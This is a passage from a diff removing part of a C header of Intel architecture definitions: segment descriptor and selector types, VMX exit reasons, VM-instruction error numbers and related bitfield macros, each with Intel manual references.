*/ - uint32_t base_address_high : 8; -#define SEGMENT__BASE_ADDRESS_HIGH_BIT 24 -#define SEGMENT__BASE_ADDRESS_HIGH_FLAG 0xFF000000 -#define SEGMENT__BASE_ADDRESS_HIGH_MASK 0xFF -#define SEGMENT__BASE_ADDRESS_HIGH(_) (((_) >> 24) & 0xFF) - }; - - uint32_t flags; - }; - - - /** - * Base address field (32:63); see description of $BASE_LOW for more details. - */ - uint32_t base_address_upper; - - /** - * Base address field (32:63); see description of $BASE_LOW for more details. - */ - uint32_t must_be_zero; -} segment_descriptor_64; - -#define SEGMENT_DESCRIPTOR_TYPE_SYSTEM 0x00000000 -#define SEGMENT_DESCRIPTOR_TYPE_CODE_OR_DATA 0x00000001 -/** - * @defgroup segment_descriptor_code_and_data_type \ - * Code- and Data-Segment Descriptor Types - * - * When the S (descriptor type) flag in a segment descriptor is set, the descriptor is for either a code or a data segment. - * The highest order bit of the type field (bit 11 of the second double word of the segment descriptor) then determines - * whether the descriptor is for a data segment (clear) or a code segment (set). For data segments, the three low-order - * bits of the type field (bits 8, 9, and 10) are interpreted as accessed (A), write-enable (W), and expansion-direction - * (E). See Table 3-1 for a description of the encoding of the bits in the type field for code and data segments. Data - * segments can be read-only or read/write segments, depending on the setting of the write-enable bit. - * - * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] (reference) - * @{ - */ - /** - * Read-Only. - */ -#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_ONLY 0x00000000 - - /** - * Data Read-Only, accessed. - */ -#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_ONLY_ACCESSED 0x00000001 - - /** - * Data Read/Write. - */ -#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_WRITE 0x00000002 - - /** - * Data Read/Write, accessed. - */ -#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_WRITE_ACCESSED 0x00000003 - - /** - * Data Read-Only, expand-down. - */ -#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_ONLY_EXPAND_DOWN 0x00000004 - - /** - * Data Read-Only, expand-down, accessed. - */ -#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_ONLY_EXPAND_DOWN_ACCESSED 0x00000005 - - /** - * Data Read/Write, expand-down. - */ -#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_WRITE_EXPAND_DOWN 0x00000006 - - /** - * Data Read/Write, expand-down, accessed. - */ -#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_WRITE_EXPAND_DOWN_ACCESSED 0x00000007 - - /** - * Code Execute-Only. - */ -#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_ONLY 0x00000008 - - /** - * Code Execute-Only, accessed. - */ -#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_ONLY_ACCESSED 0x00000009 - - /** - * Code Execute/Read. - */ -#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_READ 0x0000000A - - /** - * Code Execute/Read, accessed. - */ -#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_READ_ACCESSED 0x0000000B - - /** - * Code Execute-Only, conforming. - */ -#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_ONLY_CONFORMING 0x0000000C - - /** - * Code Execute-Only, conforming, accessed. - */ -#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_ONLY_CONFORMING_ACCESSED 0x0000000D - - /** - * Code Execute/Read, conforming. - */ -#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_READ_CONFORMING 0x0000000E - - /** - * Code Execute/Read, conforming, accessed. - */ -#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_READ_CONFORMING_ACCESSED 0x0000000F - /** - * @} - */ - - /** - * @defgroup segment_descriptor_system_type \ - * System Descriptor Types - * - * When the S (descriptor type) flag in a segment descriptor is clear, the descriptor type is a system descriptor. The - * processor recognizes the following types of system descriptors: - * - Local descriptor-table (LDT) segment descriptor. - * - Task-state segment (TSS) descriptor. - * - Call-gate descriptor. - * - Interrupt-gate descriptor. - * - Trap-gate descriptor. - * - Task-gate descriptor. - * These descriptor types fall into two categories: system-segment descriptors and gate descriptors. Systemsegment - * descriptors point to system segments (LDT and TSS segments). Gate descriptors are in themselves "gates," which hold - * pointers to procedure entry points in code segments (call, interrupt, and trap gates) or which hold segment selectors - * for TSS's (task gates). - * - * @see Vol3A[3.5(SYSTEM DESCRIPTOR TYPES)] (reference) - * @{ - */ - /** - * - 32-Bit Mode: Reserved - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_RESERVED_1 0x00000000 - - /** - * - 32-Bit Mode: 16-bit TSS (Available) - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_TSS_16_AVAILABLE 0x00000001 - - /** - * - 32-Bit Mode: LDT - * - IA-32e Mode: LDT - */ -#define SEGMENT_DESCRIPTOR_TYPE_LDT 0x00000002 - - /** - * - 32-Bit Mode: 16-bit TSS (Busy) - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_TSS_16_BUSY 0x00000003 - - /** - * - 32-Bit Mode: 16-bit Call Gate - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_CALL_GATE_16 0x00000004 - - /** - * - 32-Bit Mode: Task Gate - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_TASK_GATE 0x00000005 - - /** - * - 32-Bit Mode: 16-bit Interrupt Gate - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_INTERRUPT_GATE_16 0x00000006 - - /** - * - 32-Bit Mode: 16-bit Trap Gate - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_TRAP_GATE_16 0x00000007 - - /** - * - 32-Bit Mode: Reserved - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_RESERVED_2 0x00000008 - - /** - * - 32-Bit Mode: 32-bit TSS (Available) - * - IA-32e Mode: 64-bit TSS (Available) - */ -#define SEGMENT_DESCRIPTOR_TYPE_TSS_AVAILABLE 0x00000009 - - /** - * - 32-Bit Mode: Reserved - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_RESERVED_3 0x0000000A - - /** - * - 32-Bit Mode: 32-bit TSS (Busy) - * - IA-32e Mode: 64-bit TSS (Busy) - */ -#define SEGMENT_DESCRIPTOR_TYPE_TSS_BUSY 0x0000000B - - /** - * - 32-Bit Mode: 32-bit Call Gate - * - IA-32e Mode: 64-bit Call Gate - */ -#define SEGMENT_DESCRIPTOR_TYPE_CALL_GATE 0x0000000C - - /** - * - 32-Bit Mode: Reserved - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_RESERVED_4 0x0000000D - - /** - * - 32-Bit Mode: 32-bit Interrupt Gate - * - IA-32e Mode: 64-bit Interrupt Gate - */ -#define SEGMENT_DESCRIPTOR_TYPE_INTERRUPT_GATE 0x0000000E - - /** - * - 32-Bit Mode: 32-bit Trap Gate - * - IA-32e Mode: 64-bit Trap Gate - */ -#define SEGMENT_DESCRIPTOR_TYPE_TRAP_GATE 0x0000000F - /** - * @} - */ - - /** - * @brief A segment selector is a 16-bit identifier for a segment. It does not point directly to the segment, but instead - * points to the segment descriptor that defines the segment - * - * @see Vol3A[3.4.2(Segment Selectors)] (reference) - */ -typedef union -{ - struct - { - /** - * [Bits 1:0] Specifies the privilege level of the selector. The privilege level can range from 0 to 3, with 0 being the - * most privileged level. - * - * @see Vol3A[5.5(Privilege Levels)] - */ - uint16_t request_privilege_level : 2; -#define SEGMENT_SELECTOR_REQUEST_PRIVILEGE_LEVEL_BIT 0 -#define SEGMENT_SELECTOR_REQUEST_PRIVILEGE_LEVEL_FLAG 0x03 -#define SEGMENT_SELECTOR_REQUEST_PRIVILEGE_LEVEL_MASK 0x03 -#define SEGMENT_SELECTOR_REQUEST_PRIVILEGE_LEVEL(_) (((_) >> 0) & 0x03) - - /** - * [Bit 2] Specifies the descriptor table to use: clearing this flag selects the GDT; setting this flag selects the current - * LDT. - */ - uint16_t table : 1; -#define SEGMENT_SELECTOR_TABLE_BIT 2 -#define SEGMENT_SELECTOR_TABLE_FLAG 0x04 -#define SEGMENT_SELECTOR_TABLE_MASK 0x01 -#define SEGMENT_SELECTOR_TABLE(_) (((_) >> 2) & 0x01) - - /** - * [Bits 15:3] Selects one of 8192 descriptors in the GDT or LDT. The processor multiplies the index value by 8 (the number - * of bytes in a segment descriptor) and adds the result to the base address of the GDT or LDT (from the GDTR or LDTR - * register, respectively). - */ - uint16_t index : 13; -#define SEGMENT_SELECTOR_INDEX_BIT 3 -#define SEGMENT_SELECTOR_INDEX_FLAG 0xFFF8 -#define SEGMENT_SELECTOR_INDEX_MASK 0x1FFF -#define SEGMENT_SELECTOR_INDEX(_) (((_) >> 3) & 0x1FFF) - }; - - uint16_t flags; -} segment_selector; - -/** - * @} - */ - - /** - * @defgroup vmx \ - * VMX - * @{ - */ - /** - * @{ - */ - /** - * @defgroup vmx_basic_exit_reasons \ - * VMX Basic Exit Reasons - * - * VMX Basic Exit Reasons. - * - * @see Vol3D[C(VMX BASIC EXIT REASONS)] (reference) - * @{ - */ - /** - * @brief Exception or non-maskable interrupt (NMI) - * - * Either: - * -# Guest software caused an exception and the bit in the exception bitmap associated with exception's vector was 1. This - * case includes executions of BOUND that cause \#BR, executions of INT1 (they cause \#DB), executions of INT3 (they cause - * \#BP), executions of INTO that cause \#OF, and executions of UD0, UD1, and UD2 (they cause \#UD). - * -# An NMI was delivered to the logical processor and the "NMI exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXCEPTION_OR_NMI 0x00000000 - - /** - * @brief External interrupt - * - * An external interrupt arrived and the "external-interrupt exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXTERNAL_INTERRUPT 0x00000001 - - /** - * @brief Triple fault - * - * The logical processor encountered an exception while attempting to call the double-fault handler and that exception did - * not itself cause a VM exit due to the exception bitmap. - */ -#define VMX_EXIT_REASON_TRIPLE_FAULT 0x00000002 - - /** - * @brief INIT signal - * - * An INIT signal arrived. - */ -#define VMX_EXIT_REASON_INIT_SIGNAL 0x00000003 - - /** - * @brief Start-up IPI (SIPI) - * - * A SIPI arrived while the logical processor was in the "wait-for-SIPI" state. - */ -#define VMX_EXIT_REASON_STARTUP_IPI 0x00000004 - - /** - * @brief I/O system-management interrupt (SMI) - * - * An SMI arrived immediately after retirement of an I/O instruction and caused an SMM VM exit. - * - * @see Vol3C[34.15.2(SMM VM Exits)] - */ -#define VMX_EXIT_REASON_IO_SMI 0x00000005 - - /** - * @brief Other SMI - * - * An SMI arrived and caused an SMM VM exit but not immediately after retirement of an I/O instruction. - * - * @see Vol3C[34.15.2(SMM VM Exits)] - */ -#define VMX_EXIT_REASON_SMI 0x00000006 - - /** - * @brief Interrupt window exiting - * - * At the beginning of an instruction, RFLAGS.IF was 1; events were not blocked by STI or by MOV SS; and the - * "interrupt-window exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_INTERRUPT_WINDOW 0x00000007 - - /** - * @brief NMI window exiting - * - * At the beginning of an instruction, there was no virtual-NMI blocking; events were not blocked by MOV SS; and the - * "NMI-window exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_NMI_WINDOW 0x00000008 - - /** - * @brief Task switch - * - * Guest software attempted a task switch. - */ -#define VMX_EXIT_REASON_TASK_SWITCH 0x00000009 - - /** - * @brief CPUID - * - * Guest software attempted to execute CPUID. - */ -#define VMX_EXIT_REASON_EXECUTE_CPUID 0x0000000A - - /** - * @brief GETSEC - * - * Guest software attempted to execute GETSEC. - */ -#define VMX_EXIT_REASON_EXECUTE_GETSEC 0x0000000B - - /** - * @brief HLT - * - * Guest software attempted to execute HLT and the "HLT exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_HLT 0x0000000C - - /** - * @brief INVD - * - * Guest software attempted to execute INVD. - */ -#define VMX_EXIT_REASON_EXECUTE_INVD 0x0000000D - - /** - * @brief INVLPG - * - * Guest software attempted to execute INVLPG and the "INVLPG exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_INVLPG 0x0000000E - - /** - * @brief RDPMC - * - * Guest software attempted to execute RDPMC and the "RDPMC exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_RDPMC 0x0000000F - - /** - * @brief RDTSC - * - * Guest software attempted to execute RDTSC and the "RDTSC exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_RDTSC 0x00000010 - - /** - * @brief RSM in SMM - * - * Guest software attempted to execute RSM in SMM. - */ -#define VMX_EXIT_REASON_EXECUTE_RSM_IN_SMM 0x00000011 - - /** - * @brief VMCALL - * - * VMCALL was executed either by guest software (causing an ordinary VM exit) or by the executive monitor (causing an SMM - * VM exit). - * - * @see Vol3C[34.15.2(SMM VM Exits)] - */ -#define VMX_EXIT_REASON_EXECUTE_VMCALL 0x00000012 - - /** - * @brief VMCLEAR - * - * Guest software attempted to execute VMCLEAR. - */ -#define VMX_EXIT_REASON_EXECUTE_VMCLEAR 0x00000013 - - /** - * @brief VMLAUNCH - * - * Guest software attempted to execute VMLAUNCH. - */ -#define VMX_EXIT_REASON_EXECUTE_VMLAUNCH 0x00000014 - - /** - * @brief VMPTRLD - * - * Guest software attempted to execute VMPTRLD. - */ -#define VMX_EXIT_REASON_EXECUTE_VMPTRLD 0x00000015 - - /** - * @brief VMPTRST - * - * Guest software attempted to execute VMPTRST. - */ -#define VMX_EXIT_REASON_EXECUTE_VMPTRST 0x00000016 - - /** - * @brief VMREAD - * - * Guest software attempted to execute VMREAD. - */ -#define VMX_EXIT_REASON_EXECUTE_VMREAD 0x00000017 - - /** - * @brief VMRESUME - * - * Guest software attempted to execute VMRESUME. - */ -#define VMX_EXIT_REASON_EXECUTE_VMRESUME 0x00000018 - - /** - * @brief VMWRITE - * - * Guest software attempted to execute VMWRITE. - */ -#define VMX_EXIT_REASON_EXECUTE_VMWRITE 0x00000019 - - /** - * @brief VMXOFF - * - * Guest software attempted to execute VMXOFF. - */ -#define VMX_EXIT_REASON_EXECUTE_VMXOFF 0x0000001A - - /** - * @brief VMXON - * - * Guest software attempted to execute VMXON. - */ -#define VMX_EXIT_REASON_EXECUTE_VMXON 0x0000001B - - /** - * @brief Control-register accesses - * - * Guest software attempted to access CR0, CR3, CR4, or CR8 using CLTS, LMSW, or MOV CR and the VM-execution control fields - * indicate that a VM exit should occur. This basic exit reason is not used for trap-like VM exits following executions of - * the MOV to CR8 instruction when the "use TPR shadow" VM-execution control is 1. Such VM exits instead use basic exit - * reason 43. - * - * @see Vol3C[25.1(INSTRUCTIONS THAT CAUSE VM EXITS)] - */ -#define VMX_EXIT_REASON_MOV_CR 0x0000001C - - /** - * @brief Debug-register accesses - * - * Guest software attempted a MOV to or from a debug register and the "MOV-DR exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_MOV_DR 0x0000001D - - /** - * @brief I/O instruction - * - * Guest software attempted to execute an I/O instruction and either: - * -# The "use I/O bitmaps" VM-execution control was 0 and the "unconditional I/O exiting" VM-execution control was 1. - * -# The "use I/O bitmaps" VM-execution control was 1 and a bit in the I/O bitmap associated with one of the ports - * accessed by the I/O instruction was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_IO_INSTRUCTION 0x0000001E - - /** - * @brief RDMSR - * - * Guest software attempted to execute RDMSR and either: - * -# The "use MSR bitmaps" VM-execution control was 0. - * -# The value of RCX is neither in the range 00000000H - 00001FFFH nor in the range C0000000H - C0001FFFH. - * -# The value of RCX was in the range 00000000H - 00001FFFH and the nth bit in read bitmap for low MSRs is 1, where n was - * the value of RCX. - * -# The value of RCX is in the range C0000000H - C0001FFFH and the nth bit in read bitmap for high MSRs is 1, where n is - * the value of RCX & 00001FFFH. - */ -#define VMX_EXIT_REASON_EXECUTE_RDMSR 0x0000001F - - /** - * @brief WRMSR - * - * Guest software attempted to execute WRMSR and either: - * -# The "use MSR bitmaps" VM-execution control was 0. - * -# The value of RCX is neither in the range 00000000H - 00001FFFH nor in the range C0000000H - C0001FFFH. - * -# The value of RCX was in the range 00000000H - 00001FFFH and the nth bit in write bitmap for low MSRs is 1, where n - * was the value of RCX. - * -# The value of RCX is in the range C0000000H - C0001FFFH and the nth bit in write bitmap for high MSRs is 1, where n is - * the value of RCX & 00001FFFH. - */ -#define VMX_EXIT_REASON_EXECUTE_WRMSR 0x00000020 - - /** - * @brief VM-entry failure due to invalid guest state - * - * A VM entry failed one of the checks identified in Section 26.3.1. - */ -#define VMX_EXIT_REASON_ERROR_INVALID_GUEST_STATE 0x00000021 - - /** - * @brief VM-entry failure due to MSR loading - * - * A VM entry failed in an attempt to load MSRs. See Section 26.4. - */ -#define VMX_EXIT_REASON_ERROR_MSR_LOAD 0x00000022 - - /** - * @brief Guest software executed MWAIT - * - * Guest software attempted to execute MWAIT and the "MWAIT exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_MWAIT 0x00000024 - - /** - * @brief VM-exit due to monitor trap flag - * - * A VM entry occurred due to the 1-setting of the "monitor trap flag" VM-execution control and injection of an MTF VM exit - * as part of VM entry. - * - * @see Vol3C[25.5.2(Monitor Trap Flag)] - */ -#define VMX_EXIT_REASON_MONITOR_TRAP_FLAG 0x00000025 - - /** - * @brief Guest software attempted to execute MONITOR - * - * Guest software attempted to execute MONITOR and the "MONITOR exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_MONITOR 0x00000027 - - /** - * @brief Guest software attempted to execute PAUSE - * - * Either guest software attempted to execute PAUSE and the "PAUSE exiting" VM-execution control was 1 or the "PAUSE-loop - * exiting" VM-execution control was 1 and guest software executed a PAUSE loop with execution time exceeding PLE_Window. - * - * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] - */ -#define VMX_EXIT_REASON_EXECUTE_PAUSE 0x00000028 - - /** - * @brief VM-entry failure due to machine-check - * - * A machine-check event occurred during VM entry. - * - * @see Vol3C[26.8(MACHINE-CHECK EVENTS DURING VM ENTRY)] - */ -#define VMX_EXIT_REASON_ERROR_MACHINE_CHECK 0x00000029 - - /** - * @brief TPR below threshold - * - * The logical processor determined that the value of bits 7:4 of the byte at offset 080H on the virtual-APIC page was - * below that of the TPR threshold VM-execution control field while the "use TPR shadow" VMexecution control was 1 either - * as part of TPR virtualization or VM entry. - * - * @see Vol3C[29.1.2(TPR Virtualization)] - * @see Vol3C[26.6.7(VM Exits Induced by the TPR Threshold)] - */ -#define VMX_EXIT_REASON_TPR_BELOW_THRESHOLD 0x0000002B - - /** - * @brief APIC access - * - * Guest software attempted to access memory at a physical address on the APIC-access page and the "virtualize APIC - * accesses" VM-execution control was 1. - * - * @see Vol3C[29.4(VIRTUALIZING MEMORY-MAPPED APIC ACCESSES)] - */ -#define VMX_EXIT_REASON_APIC_ACCESS 0x0000002C - - /** - * @brief Virtualized EOI - * - * EOI virtualization was performed for a virtual interrupt whose vector indexed a bit set in the EOIexit bitmap. - */ -#define VMX_EXIT_REASON_VIRTUALIZED_EOI 0x0000002D - - /** - * @brief Access to GDTR or IDTR - * - * Guest software attempted to execute LGDT, LIDT, SGDT, or SIDT and the "descriptor-table exiting" VM-execution control - * was 1. - */ -#define VMX_EXIT_REASON_GDTR_IDTR_ACCESS 0x0000002E - - /** - * @brief Access to LDTR or TR - * - * Guest software attempted to execute LLDT, LTR, SLDT, or STR and the "descriptor-table exiting" VM-execution control was - * 1. - */ -#define VMX_EXIT_REASON_LDTR_TR_ACCESS 0x0000002F - - /** - * @brief EPT violation - * - * An attempt to access memory with a guest-physical address was disallowed by the configuration of the EPT paging - * structures. - */ -#define VMX_EXIT_REASON_EPT_VIOLATION 0x00000030 - - /** - * @brief EPT misconfiguration - * - * An attempt to access memory with a guest-physical address encountered a misconfigured EPT paging-structure entry. - */ -#define VMX_EXIT_REASON_EPT_MISCONFIGURATION 0x00000031 - - /** - * @brief INVEPT - * - * Guest software attempted to execute INVEPT. - */ -#define VMX_EXIT_REASON_EXECUTE_INVEPT 0x00000032 - - /** - * @brief RDTSCP - * - * Guest software attempted to execute RDTSCP and the "enable RDTSCP" and "RDTSC exiting" VM-execution controls were both - * 1. - */ -#define VMX_EXIT_REASON_EXECUTE_RDTSCP 0x00000033 - - /** - * @brief VMX-preemption timer expired - * - * The preemption timer counted down to zero. - */ -#define VMX_EXIT_REASON_VMX_PREEMPTION_TIMER_EXPIRED 0x00000034 - - /** - * @brief INVVPID - * - * Guest software attempted to execute INVVPID. - */ -#define VMX_EXIT_REASON_EXECUTE_INVVPID 0x00000035 - - /** - * @brief WBINVD - * - * Guest software attempted to execute WBINVD and the "WBINVD exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_WBINVD 0x00000036 - - /** - * @brief XSETBV - Guest software attempted to execute XSETBV - * - * Guest software attempted to execute XSETBV. - */ -#define VMX_EXIT_REASON_EXECUTE_XSETBV 0x00000037 - - /** - * @brief APIC write - * - * Guest software completed a write to the virtual-APIC page that must be virtualized by VMM software. - * - * @see Vol3C[29.4.3.3(APIC-Write VM Exits)] - */ -#define VMX_EXIT_REASON_APIC_WRITE 0x00000038 - - /** - * @brief RDRAND - * - * Guest software attempted to execute RDRAND and the "RDRAND exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_RDRAND 0x00000039 - - /** - * @brief INVPCID - * - * Guest software attempted to execute INVPCID and the "enable INVPCID" and "INVLPG exiting" VM-execution controls were - * both 1. - */ -#define VMX_EXIT_REASON_EXECUTE_INVPCID 0x0000003A - - /** - * @brief VMFUNC - * - * Guest software invoked a VM function with the VMFUNC instruction and the VM function either was not enabled or generated - * a function-specific condition causing a VM exit. - */ -#define VMX_EXIT_REASON_EXECUTE_VMFUNC 0x0000003B - - /** - * @brief ENCLS - * - * Guest software attempted to execute ENCLS and "enable ENCLS exiting" VM-execution control was 1 and either: - * -# EAX < 63 and the corresponding bit in the ENCLS-exiting bitmap is 1; or - * -# EAX >= 63 and bit 63 in the ENCLS-exiting bitmap is 1. - */ -#define VMX_EXIT_REASON_EXECUTE_ENCLS 0x0000003C - - /** - * @brief RDSEED - * - * Guest software attempted to execute RDSEED and the "RDSEED exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_RDSEED 0x0000003D - - /** - * @brief Page-modification log full - * - * The processor attempted to create a page-modification log entry and the value of the PML index was not in the range - * 0-511. - */ -#define VMX_EXIT_REASON_PAGE_MODIFICATION_LOG_FULL 0x0000003E - - /** - * @brief XSAVES - * - * Guest software attempted to execute XSAVES, the "enable XSAVES/XRSTORS" was 1, and a bit was set in the logical-AND of - * the following three values: EDX:EAX, the IA32_XSS MSR, and the XSS-exiting bitmap. - */ -#define VMX_EXIT_REASON_EXECUTE_XSAVES 0x0000003F - - /** - * @brief XRSTORS - * - * Guest software attempted to execute XRSTORS, the "enable XSAVES/XRSTORS" was 1, and a bit was set in the logical-AND of - * the following three values: EDX:EAX, the IA32_XSS MSR, and the XSS-exiting bitmap. - */ -#define VMX_EXIT_REASON_EXECUTE_XRSTORS 0x00000040 - /** - * @} - */ - - /** - * @defgroup vmx_instruction_error_numbers \ - * VM-Instruction Error Numbers - * - * VM-Instruction Error Numbers. - * - * @see Vol3C[30.4(VM INSTRUCTION ERROR NUMBERS)] (reference) - * @{ - */ - /** - * VMCALL executed in VMX root operation. - */ -#define VMX_ERROR_VMCALL_IN_VMX_ROOT_OPERATION 0x00000001 - - /** - * VMCLEAR with invalid physical address. - */ -#define VMX_ERROR_VMCLEAR_INVALID_PHYSICAL_ADDRESS 0x00000002 - - /** - * VMCLEAR with VMXON pointer. - */ -#define VMX_ERROR_VMCLEAR_INVALID_VMXON_POINTER 0x00000003 - - /** - * VMLAUNCH with non-clear VMCS. - */ -#define VMX_ERROR_VMLAUCH_NON_CLEAR_VMCS 0x00000004 - - /** - * VMRESUME with non-launched VMCS. - */ -#define VMX_ERROR_VMRESUME_NON_LAUNCHED_VMCS 0x00000005 - - /** - * VMRESUME after VMXOFF (VMXOFF and VMXON between VMLAUNCH and VMRESUME). - */ -#define VMX_ERROR_VMRESUME_AFTER_VMXOFF 0x00000006 - - /** - * VM entry with invalid control field(s). - */ -#define VMX_ERROR_VMENTRY_INVALID_CONTROL_FIELDS 0x00000007 - - /** - * VM entry with invalid host-state field(s). - */ -#define VMX_ERROR_VMENTRY_INVALID_HOST_STATE 0x00000008 - - /** - * VMPTRLD with invalid physical address. - */ -#define VMX_ERROR_VMPTRLD_INVALID_PHYSICAL_ADDRESS 0x00000009 - - /** - * VMPTRLD with VMXON pointer. - */ -#define VMX_ERROR_VMPTRLD_VMXON_POINTER 0x0000000A - - /** - * VMPTRLD with incorrect VMCS revision identifier. - */ -#define VMX_ERROR_VMPTRLD_INCORRECT_VMCS_REVISION_ID 0x0000000B - - /** - * VMREAD/VMWRITE from/to unsupported VMCS component. - */ -#define VMX_ERROR_VMREAD_VMWRITE_INVALID_COMPONENT 0x0000000C - - /** - * VMWRITE to read-only VMCS component. - */ -#define VMX_ERROR_VMWRITE_READONLY_COMPONENT 0x0000000D - - /** - * VMXON executed in VMX root operation. - */ -#define VMX_ERROR_VMXON_IN_VMX_ROOT_OP 0x0000000F - - /** - * VM entry with invalid executive-VMCS pointer. - */ -#define VMX_ERROR_VMENTRY_INVALID_VMCS_EXECUTIVE_POINTER 0x00000010 - - /** - * VM entry with non-launched executive VMCS. - */ -#define VMX_ERROR_VMENTRY_NON_LAUNCHED_EXECUTIVE_VMCS 0x00000011 - - /** - * VM entry with executive-VMCS pointer not VMXON pointer (when attempting to deactivate the dual-monitor treatment of SMIs - * and SMM). - */ -#define VMX_ERROR_VMENTRY_EXECUTIVE_VMCS_PTR 0x00000012 - - /** - * VMCALL with non-clear VMCS (when attempting to activate the dual-monitor treatment of SMIs and SMM). - */ -#define VMX_ERROR_VMCALL_NON_CLEAR_VMCS 0x00000013 - - /** - * VMCALL with invalid VM-exit control fields. - */ -#define VMX_ERROR_VMCALL_INVALID_VMEXIT_FIELDS 0x00000014 - - /** - * VMCALL with incorrect MSEG revision identifier (when attempting to activate the dual-monitor treatment of SMIs and SMM). - */ -#define VMX_ERROR_VMCALL_INVALID_MSEG_REVISION_ID 0x00000016 - - /** - * VMXOFF under dual-monitor treatment of SMIs and SMM. - */ -#define VMX_ERROR_VMXOFF_DUAL_MONITOR 0x00000017 - - /** - * VMCALL with invalid SMM-monitor features (when attempting to activate the dual-monitor treatment of SMIs and SMM). - */ -#define VMX_ERROR_VMCALL_INVALID_SMM_MONITOR 0x00000018 - - /** - * VM entry with invalid VM-execution control fields in executive VMCS (when attempting to return from SMM). - */ -#define VMX_ERROR_VMENTRY_INVALID_VM_EXECUTION_CONTROL 0x00000019 - - /** - * VM entry with events blocked by MOV SS. - */ -#define VMX_ERROR_VMENTRY_MOV_SS 0x0000001A - - /** - * Invalid operand to INVEPT/INVVPID. - */ -#define VMX_ERROR_INVEPT_INVVPID_INVALID_OPERAND 0x0000001C - /** - * @} - */ - - /** - * @defgroup vmx_exceptions \ - * Virtualization Exceptions - * - * Virtualization Exceptions. - * - * @see Vol3C[25.5.6(Virtualization Exceptions)] (reference) - * @{ - */ -typedef struct -{ - /** - * The 32-bit value that would have been saved into the VMCS as an exit reason had a VM exit occurred instead of the - * virtualization exception. For EPT violations, this value is 48 (00000030H). - */ - uint32_t reason; - - /** - * FFFFFFFFH - */ - uint32_t exception_mask; - - /** - * The 64-bit value that would have been saved into the VMCS as an exit qualification had a VM exit occurred instead of the - * virtualization exception. - */ - uint64_t exit; - - /** - * The 64-bit value that would have been saved into the VMCS as a guest-linear address had a VM exit occurred instead of - * the virtualization exception. - */ - uint64_t guest_linear_address; - - /** - * The 64-bit value that would have been saved into the VMCS as a guest-physical address had a VM exit occurred instead of - * the virtualization exception. - */ - uint64_t guest_physical_address; - - /** - * The current 16-bit value of the EPTP index VM-execution control. - * - * @see Vol3C[24.6.18(Controls for Virtualization Exceptions)] - * @see Vol3C[25.5.5.3(EPTP Switching)] - */ - uint16_t current_eptp_index; -} vmx_virtualization_exception_information; - -/** - * @} - */ - - /** - * @defgroup vmx_basic_exit_information \ - * Basic VM-Exit Information - * - * Basic VM-Exit Information. - * - * @see Vol3C[27.2.1(Basic VM-Exit Information)] (reference) - * @{ - */ - /** - * @brief Exit Qualification for Debug Exceptions - */ -typedef union -{ - struct - { - /** - * @brief B0 - B3 - * - * [Bits 3:0] When set, each of these bits indicates that the corresponding breakpoint condition was met. Any of these bits - * may be set even if its corresponding enabling bit in DR7 is not set. - */ - uint64_t breakpoint_condition : 4; -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_BREAKPOINT_CONDITION_BIT 0 -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_BREAKPOINT_CONDITION_FLAG 0x0F -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_BREAKPOINT_CONDITION_MASK 0x0F -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_BREAKPOINT_CONDITION(_) (((_) >> 0) & 0x0F) - uint64_t reserved1 : 9; - - /** - * @brief BD - * - * [Bit 13] When set, this bit indicates that the cause of the debug exception is "debug register access detected." - */ - uint64_t debug_register_access_detected : 1; -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_DEBUG_REGISTER_ACCESS_DETECTED_BIT 13 -#define 